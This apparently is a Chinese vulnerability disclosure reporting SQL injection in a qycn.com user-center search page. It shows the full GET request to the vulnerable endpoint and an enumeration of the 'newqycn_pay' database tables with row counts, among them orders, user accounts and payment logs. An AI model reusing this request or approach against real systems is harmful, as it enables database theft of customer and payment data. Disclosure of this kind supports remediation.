群英某系统SQL注入（涉及百万订单/用户数据/密码/可拖库）

GET https://uc.qycn.com/announcement.php?an_status=1&act=search&an_publish_time=%E8%AF%B7%E9%80%89%E6%8B%A9%E5%8F%91%E5%B8%83%E6%97%A5%E6%9C%9F&an_end_time=%E8%AF%B7%E9%80%89%E6%8B%A9%E7%BB%93%E6%9D%9F%E6%97%A5%E6%9C%9F&keyword=%E8%AF%B7%E8%BE%93%E5%85%A5%E5%85%B3%E9%94%AE%E5%AD%97&type=list&submit=%E6%90%9C+%E7%B4%A2 HTTP/1.1
 Host: uc.qycn.com
 Connection: keep-alive
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
 Upgrade-Insecure-Requests: 1
 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36
 Referer: https://uc.qycn.com/announcement.php?act=list
 Accept-Encoding: gzip, deflate, sdch
 Accept-Language: zh-CN,zh;q=0.8

Database: newqycn_pay
 +-------------------------+---------+
 | Table                   | Entries |
 +-------------------------+---------+
 | qy_order                | 996877  |
 | qy_business             | 471212  |
 | qy_order_buydetail      | 437606  |
 | qy_useraccount          | 418035  |
 | qy_order_serviceparams  | 309086  |
 | qy_order_service        | 300540  |
 | qy_account_log          | 177322  |
 | qy_order_sms            | 133378  |
 | qy_order_regdomain      | 93107   |
 | qy_pay_logs             | 83300   |
 | qy_order_domain         | 76166   |
 | qy_order_payment        | 35233   |
 | qy_order_dns            | 19719   |
 | qy_yeepay_log           | 8797    |
 | qy_paypricelog          | 3020    |
 | qy_payment_statis       | 1544    |
 | qy_order_transfer       | 799     |
 | qy_order_servicegift    | 438     |
 | qy_order_receipt        | 365     |
 | qy_manual_pay           | 317     |
 | qy_order_device         | 178     |
 | qy_order_address        | 176     |
 | qy_order_voice          | 137     |
 | qy_order_auth           | 98      |
 | qy_order_safe           | 95      |
 | qy_orderinfo            | 63      |
 | qy_order_jk             | 61      |
 | qy_safe_info            | 15      |
 | qy_order_payment_client | 9       |
 | qy_safe_checkinfo       | 7       |
 +-------------------------+---------+